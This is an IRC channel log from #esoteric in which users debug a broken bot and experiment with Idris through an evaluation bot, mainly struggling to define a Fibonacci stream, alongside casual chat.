https://en.wiktionary.org/wiki/%E1%BD%80%CE%BA%CF%84%CF%8E < 1394893924 233629 :Gregor!dlopen@libdl.so PRIVMSG #esoteric :Yeah, I'm not really sure what's goin' on right now... < 1394893974 679164 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Ohhuh. /x/ from ‹κ›, hadn’t heard of that change. < 1394893990 580443 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Gregor: is that actually your bot or is it just someone else faking < 1394893994 516284 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :password2: so, what brings you over to #esoteric by this fine Saturday morning? < 1394894000 391914 :Gregor!dlopen@libdl.so PRIVMSG #esoteric :It's my bot. < 1394894003 694343 :Gregor!dlopen@libdl.so PRIVMSG #esoteric :But it's muy broken. < 1394894004 706200 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oops < 1394894037 410213 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fungot: with your sentience, can you achieve a HackEgo Impersonation? < 1394894037 520454 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: i know, i was, uh, any reason... there's no one here but us? we just dueled, he had a name, in accordance with your orders when he instructed the orcs and told me < 1394894046 889007 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :the repository looks ok < 1394894053 190965 :Gregor!dlopen@libdl.so PRIVMSG #esoteric :Yeah, it's not that. < 1394894095 842304 :HackEgo!~HackEgo@162.248.166.242 QUIT :Remote host closed the connection < 1394894110 465947 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :the problem seems to be that everything gives "No output." instead of e.g. an error < 1394894128 409876 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`fnordly go < 1394894134 650615 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh it already went < 1394894981 379335 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@r < 1394894981 592783 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Maybe you meant: rc reconnect remember repoint roll run v @ ? . < 1394894985 389077 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@ru < 1394894986 653521 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : not an expression: `' < 1394895106 431304 :password2!~password@197.78.152.2 PRIVMSG #esoteric :well boily , i have joined this channel a while ago < 1394895132 403498 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :password2: ah? >_>'... < 1394895399 578859 :password2!~password@197.78.152.2 PRIVMSG #esoteric ::) < 1394895443 546210 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t Fin < 1394895443 686155 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :12Prelude.Fin.Fin : 12Nat -> 12Type < 1394895467 100582 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :what is that? it looks vaguely haskelly but not quite < 1394895501 517477 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :"idris" hth < 1394895753 518648 :Slereahphone!~slereahph@80.12.100.246 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394895780 353207 :Slereahphone!~slereahph@80.12.100.246 JOIN :#esoteric < 1394896153 118420 :password2!~password@197.78.152.2 QUIT :Ping timeout: 240 seconds < 1394896200 604786 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( :doc Fin < 1394896200 697872 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Data type 12Fin : 12Nat -> 12Type < 1394896200 752978 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : Numbers strictly less than some bound. The name comes from "finite sets" < 1394896200 753140 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : Arguments: < 1394896200 753233 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 13n : 12Nat -- the upper bound < 1394896200 753326 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Constructors:14↵… < 1394896456 775943 :Vorpal!~Vorpal@unaffiliated/vorpal JOIN :#esoteric < 1394896462 466286 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(Thus, 12Fin 13n is inhabited by exactly 13n values.) < 1394896524 16286 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ah, so that's why (Fin 0) 1 doesn't work. < 1394896565 376596 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :12Fin 040 is uninhabited. < 1394896608 326141 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( the (Fin 1) 0 < 1394896608 381135 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04fZ : 12Fin 041 < 1394896642 230800 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( the (Fin 1) 1 < 1394896642 343272 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't unify < 1394896642 397919 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12IsJust (04Just 13x) < 1394896642 398096 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :with < 1394896642 398193 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12IsJust (09integerToFin 041 (09fromInteger 041)) < 1394896642 398284 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Specifically:14↵… < 1394896678 517877 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :I hope the bit of error reflection that turns that into a more digestible message is merged soon. < 1394898063 752078 :HackEgo!~HackEgo@162.248.166.242 JOIN :#esoteric < 1394898258 304048 :impomatic!~chatzilla@87.112.13.30 QUIT :Ping timeout: 240 seconds < 1394898493 819266 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`echo hi < 1394898499 61370 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394898504 876060 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Gregor: *cough* < 1394898794 128823 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :time to phở. < 1394899292 439572 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394899483 461458 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394899484 630642 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394899708 627253 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :) :t zipWith < 1394899709 143814 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :oerjan: |syntax error < 1394899709 199481 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :oerjan: | :t zipWith < 1394899714 919927 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t zipWith < 1394899715 242988 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.List.zipWith : (13a -> 13b -> 13c) -> (13l : 12List 13a) -> (13r : 12List 13b) -> (09length 13l 12= 09length 13r) -> 12List 13c < 1394899715 575404 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Stream.zipWith : (13a -> 13b -> 13c) -> (12Stream 13a) -> (12Stream 13b) -> 12Stream 13c < 1394899715 631028 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Vect.zipWith : (13a -> 13b -> 13c) -> (12Vect 13n 13a) -> (12Vect 13n 13b) -> 12Vect 13n 13c < 1394899807 536359 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( let fib = 1 :: 1 :: zipWith (+) fib (tail fib) in fib < 1394899809 769504 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't disambiguate name: Data.HVect.::, Prelude.List.::, Data.Vect.Quantifiers.::, Prelude.Stream.::, Prelude.Vect.:: < 1394899836 568631 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( let fib = the (Stream Integer) (1 :: 1 :: zipWith (+) fib (tail fib)) in fib < 1394899836 998625 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't unify < 1394899837 320805 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12Vect 13n 13c < 1394899837 375673 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :with < 1394899837 375823 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12Stream 12Integer < 1394899837 375917 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Specifically:14↵… < 1394899846 688942 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm... < 1394899850 361538 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t (::) < 1394899850 747823 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04Data.HVect.:: : 13t -> (12HVect 13ts) -> 12HVect (13t 04:: 13ts) < 1394899851 71029 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04Prelude.List.:: : 13a -> (12List 13a) -> 12List 13a < 1394899851 177477 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04Data.Vect.Quantifiers.:: : (13P 13x) -> (12All 13P 13xs) -> 12All 13P (13x 04:: 13xs) < 1394899851 232394 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04Prelude.Stream.:: : 13a -> (12Lazy (12Stream 13a)) -> 12Stream 13a < 1394899851 232567 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04Prelude.Vect.:: : 13a -> (12Vect 13n 13a) -> 12Vect (04S 13n) 13a < 1394899871 710105 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394899873 271513 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t Lazy < 1394899873 702773 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :12Lazy : 12Type -> 12Type < 1394899908 7047 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( let fib = the (Lazy (Stream Integer)) (1 :: 1 :: zipWith (+) fib (tail fib)) in fib < 1394899908 487942 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't unify < 1394899908 810872 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12Vect 13n 13c < 1394899908 866787 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :with < 1394899908 866972 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12Stream 12Integer < 1394899908 867067 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Specifically:14↵… < 1394899927 218172 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :this type inference isn't very reliable. < 1394899957 529785 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( let fib : Lazy (Stream Integer); fib = 1 :: 1 :: zipWith (+) fib (tail fib) in fib < 1394899957 850571 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:9: error: expected: "=" < 1394899958 339510 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :let fib : Lazy (Stream Integer); fib = 1 :: 1 :: zipWith (+) fib (tail fib) in> < 1394899958 395837 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : ^ < 1394899984 836831 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :...you cannot use : in let? < 1394900019 561805 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :doc Stream < 1394900020 28065 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Data type 12Stream : 12Type -> 12Type < 1394900020 454226 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : An infinite stream < 1394900020 511047 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : Arguments: < 1394900020 511195 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 13__pi_arg : 12Type < 1394900020 511287 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Constructors:14↵… < 1394900039 760775 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :doc Lazy < 1394900040 189571 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Data type 12Lazy : 12Type -> 12Type < 1394900040 512696 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : Arguments: < 1394900040 567736 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 13__pi_arg : 12Type < 1394900040 567898 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Constructors: < 1394900040 567994 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 04Delay : 13a -> 12Lazy 13a14↵… < 1394900044 811622 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm... < 1394900073 197367 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( let fib = Delay (1 :: 1 :: zipWith (+) fib (tail fib)) in fib < 1394900073 614695 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't disambiguate name: Data.HVect.::, Prelude.List.::, Data.Vect.Quantifiers.::, Prelude.Stream.::, Prelude.Vect.:: < 1394900117 454887 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( let fib = Delay (the (Stream Integer) (1 :: 1 :: zipWith (+) fib (tail fib))) in fib < 1394900117 851753 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't unify < 1394900118 281706 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12Vect 13n 13c < 1394900118 336703 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :with < 1394900118 336854 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12Stream 12Integer < 1394900118 336946 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Specifically:14↵… < 1394900175 789682 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( let fib = Delay (1 :: 1 :: Prelude.Stream.zipWith (+) fib (tail fib))) in fib < 1394900176 137448 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:70: error: expected: "$", < 1394900176 498073 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "$>", "&&", "&&&", "*", "***", < 1394900176 553085 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "+", "++", "-", "->", ".", "/", < 1394900176 553273 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "/=", ":+", "::", "<", "<$", < 1394900176 553366 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "<$>", "<*>", "<+>", "<->",14↵… < 1394900191 648580 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( let fib = Delay (1 :: 1 :: Prelude.Stream.zipWith (+) fib (tail fib)) in fib < 1394900191 755821 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't unify < 1394900191 810354 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12Nat -> 12Nat < 1394900191 865506 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :with < 1394900191 865685 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12Stream 12Nat < 1394900191 865778 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Specifically:14↵… < 1394900302 325330 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( let fib = Delay (1 Prelude.Stream.:: 1 Prelude.Stream.:: Prelude.Stream.zipWith (+) fib (tail fib)) in fib < 1394900302 431892 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:20:No such variable Prelude.Stream. < 1394900327 520655 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( let fib = Delay (1 Prelude.Stream.(::) 1 Prelude.Stream.(::) Prelude.Stream.zipWith (+) fib (tail fib)) in fib < 1394900327 628031 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:20:Can't infer type for (|(|fromInteger 1 , fromInteger 1 , |) , 1 , 1 , 1 , 1 , 1 , 1 , |) (::) < 1394900350 222230 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( let fib = Delay ((the Integer 1) Prelude.Stream.(::) 1 Prelude.Stream.(::) Prelude.Stream.zipWith (+) fib (tail fib)) in fib < 1394900350 364191 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:34:09the 12Integer (09fromInteger 041) does not have a function type (12Integer) < 1394900377 431286 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t tail < 1394900379 293800 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.List.tail : (13l : 12List 13a) -> (09isCons 13l 12= 04True) -> 12List 13a < 1394900379 399397 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Stream.tail : (12Stream 13a) -> 12Stream 13a < 1394900379 454749 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Vect.tail : (12Vect (04S 13n) 13a) -> 12Vect 13n 13a < 1394900440 75364 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( let s = (the Integer 1) Prelude.Stream.(::) s in s < 1394900440 457462 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:25:09the 12Integer (09fromInteger 041) does not have a function type (12Integer) < 1394900454 273735 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( let s = (the Integer 1) `Prelude.Stream.(::)` s in s < 1394900454 328301 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:47:No such variable s < 1394900505 688328 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( let s = (the Integer 1) `Prelude.Stream.(::)` (Delay s) in s < 1394900505 795880 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:54:No such variable s < 1394901014 807541 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :oerjan: What are you trying to do? < 1394901031 122946 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :make a fibonacci stream < 1394901059 752200 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( let rec s = (the Integer 1) `Prelude.Stream.(::)` (Delay s) in s < 1394901060 157965 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:58:No such variable s < 1394901083 458260 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :> let fibs = with Stream 0 :: 1 :: [| fibs + tail fibs |] in take 10 fibs < 1394901084 54375 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:37:No such variable fibs < 1394901084 629646 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:29: Illegal literal in type (use -XDataKinds to enable): 1 < 1394901093 192430 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( let fibs = with Stream 0 :: 1 :: [| fibs + tail fibs |] in take 10 fibs < 1394901093 686110 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:37:No such variable fibs < 1394901110 766678 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Ah, right. No letrec. < 1394901127 483094 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :so only functions can recurse? < 1394901156 33993 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :or, recursion only at top level? < 1394901173 744858 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Only top-level and where-clause defns, I think. < 1394901181 987739 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :aha... hm < 1394901238 169831 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :“fibs : Stream Nat ; fibs = 0 :: 1 :: [| fibs + tail fibs |]” in a file should work. < 1394901256 896573 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( let fibs = fibs' where fibs' = with Stream 0 :: 1 :: [| fibs' + tail fibs' |] in take 10 fibs < 1394901257 1745 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:18: error: expected: "$", < 1394901257 56694 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "$>", "&&", "&&&", "*", "***", < 1394901257 56836 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "+", "++", "-", "->", ".", "/", < 1394901257 56928 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "/=", ":+", "::", "<", "<$", < 1394901257 57020 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "<$>", "<*>", "<+>", "<->",14↵… < 1394901258 695729 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :That’s also not recursion, but corecursion; in idris the difference is significant. < 1394901313 204912 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no where clauses in let definitions? < 1394901364 241845 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :if you borrow haskell syntax, you should do it _properly_ :( < 1394901571 256004 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :It started out whitespace-insensitive, it has grown more like Haskell syntax since … < 1394901633 760328 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :cargo cult haskell syntax >:) < 1394902011 522646 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Mainly because whitespace-insensitive was easier to implement; it’s largely a research language. < 1394902501 57817 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :U+237B NOT CHECK MARK appears before U+2713 CHECK MARK. ✓ < 1394902522 146634 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i guess they forgot to check that < 1394902609 53889 :yorick!~yorick@oftn/member/yorick QUIT :Read error: Connection reset by peer < 1394902782 320826 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1394903156 105462 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I hope they implemented whitespace as sugar for punctuation, like Haskell < 1394903693 660322 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :kmc: Well, it’s not sugar as such; the parser checks indents rather than lexing and preprocessing indents into blocks before continuing (which IIRC is what is done for Haskell). But you can use whitespace and {;} alternatively, yes. < 1394903942 266643 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :is that difference observable in the language specification < 1394903969 349519 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394904051 946865 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :There is no specification. Just research papers that describe some of the foundations and features. < 1394904168 305357 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :sure, I mean hypothetically < 1394904293 137198 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394904326 113190 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394904556 447558 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Well, the implementation approaches can be made to behave exactly the same, but I’m guessing that the actual Idris implementation parses some edge cases differently even in the language constructs that Idris and Haskell share, and this is not necessarily always considered a bug. < 1394904566 745560 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :There are almost certainly still outright bugs though. < 1394904569 40887 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1394905922 329395 :password2!~password@197.78.166.89 JOIN :#esoteric < 1394907154 212916 :AnotherTest!~turingcom@94-224-16-121.access.telenet.be JOIN :#esoteric < 1394908586 455455 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :`relcome password2 (because I can :D) < 1394908586 698293 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394908696 716356 :password2!~password@197.78.166.89 PRIVMSG #esoteric ::D < 1394908727 803744 :password2!~password@197.78.166.89 PRIVMSG #esoteric :I like the randomness of this channel < 1394909988 516588 :password2!~password@197.78.166.89 PRIVMSG #esoteric :hows it going here < 1394910537 595970 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I lunched at a Vietnamese restaurant, then went grocery shopping, coffee shopping, and now I'm back home playing DCSS. < 1394911313 755799 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394911880 330060 :lexande!arapp@terpsichore.ugcs.caltech.edu QUIT :Ping timeout: 264 seconds < 1394911909 31941 :lexande!arapp@terpsichore.ugcs.caltech.edu JOIN :#esoteric < 1394911935 553144 :password2!~password@197.78.166.89 QUIT :Remote host closed the connection < 1394912085 366942 :password2!~password@197.78.166.89 JOIN :#esoteric < 1394912407 438579 :password2!~password@197.78.166.89 QUIT :Ping timeout: 264 seconds < 1394912720 269145 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net JOIN :#esoteric < 1394912937 807764 :password2!~password@197.78.159.108 JOIN :#esoteric < 1394913453 853381 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://i.imgur.com/hTcbghi.jpg < 1394913554 799000 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Ping timeout: 252 seconds < 1394914088 221825 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Today I bought an apple and ate it, entirely of my own volition. I... don't know who I am any more < 1394914209 118555 :itsy!~digital_w@87.112.13.30 JOIN :#esoteric < 1394914301 577542 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Taneb: if you are having identity troubles, you should become Canadian. it's a very sane choice. < 1394914314 95425 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :kmc: shiny racoons! < 1394914340 716347 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :boily, I am still reasonably confident about my nationality < 1394914344 793106 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Merely not my diet < 1394914572 966452 :password2!~password@197.78.159.108 PRIVMSG #esoteric :oh yeah , i now have an irc bot running < 1394914597 172439 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG 